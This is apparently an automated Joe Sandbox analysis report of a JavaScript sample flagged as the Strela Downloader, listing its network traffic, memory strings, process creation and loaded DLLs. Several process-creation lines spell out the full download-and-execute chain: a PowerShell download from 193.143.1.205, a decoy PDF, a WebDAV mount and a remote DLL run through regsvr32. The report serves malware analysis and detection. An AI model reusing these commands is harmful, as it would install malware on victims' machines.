TCP traffic: 192.168.2.8:49707 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49706 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1416289368.000001B7D0DF4000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1416289368.000001B7D0DF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1477855476.000001404B158000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1477807609.000001404B128000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1477855476.000001404B14D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1477967387.000001404B17E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1470535893.000001404B17C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1471349612.000001404B158000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1477855476.000001404B158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/y
Source: svchost.exe, 00000009.00000002.2701445534.000001F32EA12000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: svchost.exe, 00000009.00000002.2700509247.000001F3294AB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://schemas.microsoft.
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1479380010.000001F32E910000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7404, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 8708187442773418429.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7500:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_updq1dgd.0fx.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\8708187442773418429.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1620,i,10431413393714387235,15800599284807576028,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7931317627433.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1620,i,10431413393714387235,15800599284807576028,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
